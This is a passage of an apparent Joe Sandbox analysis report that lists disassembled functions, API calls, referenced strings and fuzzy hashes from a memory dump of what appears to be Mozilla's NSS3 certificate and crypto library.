isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000,00000000,00000001), ref: 6CEB5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2,00000000), ref: 6CEB5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEB505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CEB5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEB50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE675C2), ref: 6CEB50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEB50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEB50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5153
free.MOZGLUE(?), ref: 6CEB516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEB517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEB5195

Strings

nss=, xrefs: 6CEB5083
parameters=, xrefs: 6CEB506B
library=, xrefs: 6CEB5043
config=, xrefs: 6CEB509B
name=, xrefs: 6CEB5057

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 60ae500480e36054126b5a5dd5d567d14c4156690228a2c3033e50d6a66c14b3
Instruction ID: c8c4520933d6861ddb99b9df99095dc1acb46ff44c07b6438cdadf979170f20b
Opcode Fuzzy Hash: 60ae500480e36054126b5a5dd5d567d14c4156690228a2c3033e50d6a66c14b3
Instruction Fuzzy Hash: 1F51A7B5A12205ABEB41DF64DD41ABE37B89F0624CF240024EC19F7741EB35E915C7B2

Function 6CEB4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4C5B
PR_smprintf.NSS3(6CF8AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEB4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEB4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEB4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEA4F51,00000000), ref: 6CEB4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CEB4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CEB4DA2
free.MOZGLUE(?), ref: 6CEB4DB9
free.MOZGLUE(00000000), ref: 6CEB4DCF

Strings

every, xrefs: 6CEB4CA1
any, xrefs: 6CEB4C96
rust, xrefs: 6CEB4D22
ootT, xrefs: 6CEB4D1A
%s,%s, xrefs: 6CEB4C4B
slotFlags, xrefs: 6CEB4D34
timeout, xrefs: 6CEB4C91
rootFlags, xrefs: 6CEB4D47
0x%08lx=[%s %s], xrefs: 6CEB4D80
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CEB4D9D

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 0c967950316edfb3eeefb1a7bd488076e89d64719fc903180cbcf1cbf87313d4
Instruction ID: 84d685605cf54c20361e1a9b1875a1b17ea5cdef3617b6ee73e3e14b46893a1d
Opcode Fuzzy Hash: 0c967950316edfb3eeefb1a7bd488076e89d64719fc903180cbcf1cbf87313d4
Instruction Fuzzy Hash: 7D418EB2E10141ABDB125F689D40BBF7675AF8270CF25412AEC196BB01E731E914C7D3

Function 6CE96CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE96910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CE96943
Part of subcall function 6CE96910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CE96957
Part of subcall function 6CE96910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CE96972
Part of subcall function 6CE96910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CE96983
Part of subcall function 6CE96910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CE969AA
Part of subcall function 6CE96910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CE969BE
Part of subcall function 6CE96910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CE969D2
Part of subcall function 6CE96910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CE969DF
Part of subcall function 6CE96910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CE96A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE96D8C
free.MOZGLUE(00000000), ref: 6CE96DC5
free.MOZGLUE(?), ref: 6CE96DD6
free.MOZGLUE(?), ref: 6CE96DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE96E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96E72
free.MOZGLUE(?), ref: 6CE96EA7
free.MOZGLUE(?), ref: 6CE96EC4
free.MOZGLUE(?), ref: 6CE96ED5
free.MOZGLUE(00000000), ref: 6CE96EE3
free.MOZGLUE(?), ref: 6CE96EF4
free.MOZGLUE(?), ref: 6CE96F08
free.MOZGLUE(00000000), ref: 6CE96F35
free.MOZGLUE(?), ref: 6CE96F44
free.MOZGLUE(?), ref: 6CE96F5B
free.MOZGLUE(00000000), ref: 6CE96F65

Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE9781D,00000000,6CE8BE2C,?,6CE96B1D,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C40
Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE9781D,?,6CE8BE2C,?), ref: 6CE96C58
Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C6F
Part of subcall function 6CE96C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE96C84
Part of subcall function 6CE96C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE96C96
Part of subcall function 6CE96C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE96CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE96FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CE96FF4

Strings

+`l, xrefs: 6CE96D0D

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: 089a6197afd75fc20849e82e195950a91cc7d1b10d03b899186bbe6902aa4a24
Instruction ID: 6e936dff8fa6ef1b398e61a7bce68884da8adeb21f35e76cd66c2587caab6fce
Opcode Fuzzy Hash: 089a6197afd75fc20849e82e195950a91cc7d1b10d03b899186bbe6902aa4a24
Instruction Fuzzy Hash: 83B13AB5E012099FDF80DFA5D845B9EBBB8AF0534CF240026E815E7B50E731EA55CBA1

Function 6CE7B8F0 Relevance: 35.3, APIs: 19, Strings: 1, Instructions: 332memoryCOMMON

Download Yara Rule

APIs

PR_CallOnceWithArg.NSS3(6CFB2178,6CE7BCF0,?), ref: 6CE7B915

Part of subcall function 6CE4B100: TlsGetValue.KERNEL32 ref: 6CE4B127
Part of subcall function 6CE4B100: EnterCriticalSection.KERNEL32 ref: 6CE4B140
Part of subcall function 6CE4B100: PR_Unlock.NSS3 ref: 6CE4B159
Part of subcall function 6CE4B100: TlsGetValue.KERNEL32 ref: 6CE4B195
Part of subcall function 6CE4B100: EnterCriticalSection.KERNEL32 ref: 6CE4B1AA
Part of subcall function 6CE4B100: PR_NotifyAllCondVar.NSS3 ref: 6CE4B1CA
Part of subcall function 6CE4B100: PR_Unlock.NSS3 ref: 6CE4B1D7

PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CE7B933

Part of subcall function 6CEA3120: PORT_Alloc_Util.NSS3(0000000C), ref: 6CEA313B
Part of subcall function 6CEA3120: PR_NewLock.NSS3 ref: 6CEA3157
Part of subcall function 6CEA3120: free.MOZGLUE(00000000), ref: 6CEA3166
Part of subcall function 6CEA3120: PORT_Alloc_Util.NSS3(0000000C), ref: 6CEA3173
Part of subcall function 6CEA3120: PR_NewLock.NSS3 ref: 6CEA3188
Part of subcall function 6CEA3120: free.MOZGLUE(00000000), ref: 6CEA3197
Part of subcall function 6CEA3120: PORT_Alloc_Util.NSS3(0000000C), ref: 6CEA31A4
Part of subcall function 6CEA3120: PR_NewLock.NSS3 ref: 6CEA31C0

free.MOZGLUE(?), ref: 6CE7BC5A

Part of subcall function 6CE79580: PK11_IsFriendly.NSS3(00000000,?,6CE7A64D,00000000,00000001,?), ref: 6CE7958F

PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CE7B9C8

Part of subcall function 6CEA3120: PK11_IsLoggedIn.NSS3(00000000,?), ref: 6CEA3286
Part of subcall function 6CEA3120: free.MOZGLUE(?), ref: 6CEA33EE
Part of subcall function 6CEA3120: free.MOZGLUE(00000000), ref: 6CEA3429

SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE7B9E1

Part of subcall function 6CEAF9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6CE4F379,?,00000000,-00000002), ref: 6CEAF9B7

CERT_NewCertList.NSS3 ref: 6CE7BA48
CERT_DestroyCertList.NSS3(00000000), ref: 6CE7BA6B
CERT_IsUserCert.NSS3(?), ref: 6CE7BA80
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE7BAD5
free.MOZGLUE(00000000), ref: 6CE7BB01
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE7BB10

Part of subcall function 6CE53B50: TlsGetValue.KERNEL32 ref: 6CE53B69
Part of subcall function 6CE53B50: EnterCriticalSection.KERNEL32(?), ref: 6CE53B79
Part of subcall function 6CE53B50: PL_HashTableLookup.NSS3(?), ref: 6CE53B89
Part of subcall function 6CE53B50: PR_Unlock.NSS3 ref: 6CE53B99

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7BBCD
CERT_GetCertTrust.NSS3(00000000,?), ref: 6CE7BBE3
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7BBF7

Part of subcall function 6CE53BF0: TlsGetValue.KERNEL32 ref: 6CE53C0E
Part of subcall function 6CE53BF0: EnterCriticalSection.KERNEL32 ref: 6CE53C23
Part of subcall function 6CE53BF0: PL_HashTableLookup.NSS3 ref: 6CE53C3B
Part of subcall function 6CE53BF0: SECITEM_DupItem_Util.NSS3 ref: 6CE53C47
Part of subcall function 6CE53BF0: PR_Unlock.NSS3 ref: 6CE53C5E

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7BC22
free.MOZGLUE(00000000), ref: 6CE7BC35
free.MOZGLUE(?), ref: 6CE7BC7E
PK11_FindKeyByAnyCert.NSS3(00000000,?), ref: 6CE7BC91
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7BCAA

Strings

@, xrefs: 6CE7BBEF

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$free$CertItem_K11_$CriticalEnterSectionUnlockValue$Alloc_DestroyLockZfree$CertificateHashListLookupTableTokens$AllocArenaCallCondErrorFindFriendlyLoggedMark_NotifyOnceTrustUserWith
String ID: @
API String ID: 645016511-2766056989
Opcode ID: 46b8ccbda679570280b42e05f5efc38b16c3112d64a1d79834ac076946e21d7e
Instruction ID: 628a085e656c3ff6a8d9129d741ce3d37705f5b12c0acb5a2a1a30fa6620d827
Opcode Fuzzy Hash: 46b8ccbda679570280b42e05f5efc38b16c3112d64a1d79834ac076946e21d7e
Instruction Fuzzy Hash: A4B190B5E042019FDB10DF25D880A6AB7F4AF8435CF24452CEC599BB51EB31E919CBA2

Function 6CE5DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5DDDE

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CE5DDF5

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE5DE34
PR_Now.NSS3 ref: 6CE5DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CE5DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE5DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE5DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE5DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CE5DEF0
PR_smprintf.NSS3(6CF8AAF9,(NULL) (Validity Unknown)), ref: 6CE5DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE5DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE5DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE5DF33
free.MOZGLUE(00000000), ref: 6CE5DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE5DF4B
free.MOZGLUE(00000000), ref: 6CE5DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5DF8E

Strings

{???}, xrefs: 6CE5DE8B
(NULL) (Validity Unknown), xrefs: 6CE5DEFA
%s%s, xrefs: 6CE5DEEB

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 8b5639c515d45a1d9783cd6dbb52d37ba4df0487b52a77b38795728bb1855ddd
Instruction ID: ed6c86bbb2dc2652aebad1e375c3421b20eaaca3ac35f17ab8d9e70fedc908e3
Opcode Fuzzy Hash: 8b5639c515d45a1d9783cd6dbb52d37ba4df0487b52a77b38795728bb1855ddd
Instruction Fuzzy Hash: 6D51A4B5E001159BDB00DF659D41AAF7BB9EF85358F644028E809E7B00EB32DA15CBF1

Function 6CE808F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6CE8094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE80953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6CE8096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6CE80974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CE8098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CE80995

Part of subcall function 6CE81800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CE81860
Part of subcall function 6CE81800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6CE809BF), ref: 6CE81897
Part of subcall function 6CE81800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE818AA
Part of subcall function 6CE81800: memcpy.VCRUNTIME140(?,?,?), ref: 6CE818C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CE80B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CE80B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CE80B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6CE80B78

Strings

key, xrefs: 6CE80ACB
exp, xrefs: 6CE80B36
info_hash, xrefs: 6CE809E0
base_nonce, xrefs: 6CE80B06
secret, xrefs: 6CE80A88
psk_id_hash, xrefs: 6CE809B5

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 04b99905f7d41980410f55c0e9ef3d0185d2c13f38cc9795f4734b9057a27075
Instruction ID: 177851efc978e258b614ecdf6b494b5cc6033d3fee1fd03c984023b6129706eb
Opcode Fuzzy Hash: 04b99905f7d41980410f55c0e9ef3d0185d2c13f38cc9795f4734b9057a27075
Instruction Fuzzy Hash: F0818876605301AFC700CF65C880A9AF7F8EF8C618F14891DFA9887751E731EA19CB92

Function 6CE92D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CE92DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CE92E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE92E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE92E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C,?,-00000001,00000000,?), ref: 6CE92E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C,?,-00000001,00000000), ref: 6CE92E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE92EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE92EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE92EF8
PR_Unlock.NSS3(?), ref: 6CE92F62
TlsGetValue.KERNEL32 ref: 6CE92F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE92F9E
PR_Unlock.NSS3(?), ref: 6CE92FCA
TlsGetValue.KERNEL32 ref: 6CE9301A
EnterCriticalSection.KERNEL32(?), ref: 6CE9302E
PR_Unlock.NSS3(?), ref: 6CE93066
PR_SetError.NSS3(00000000,00000000), ref: 6CE93085
PR_Unlock.NSS3(?), ref: 6CE930EC
TlsGetValue.KERNEL32 ref: 6CE9310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE93124
PR_Unlock.NSS3(?), ref: 6CE9314C

Part of subcall function 6CE79180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CEA379E,?,6CE79568,00000000,?,6CEA379E,?,00000001,?), ref: 6CE7918D
Part of subcall function 6CE79180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CEA379E,?,6CE79568,00000000,?,6CEA379E,?,00000001,?), ref: 6CE791A0

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

PR_SetError.NSS3(00000000,00000000), ref: 6CE9316D

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
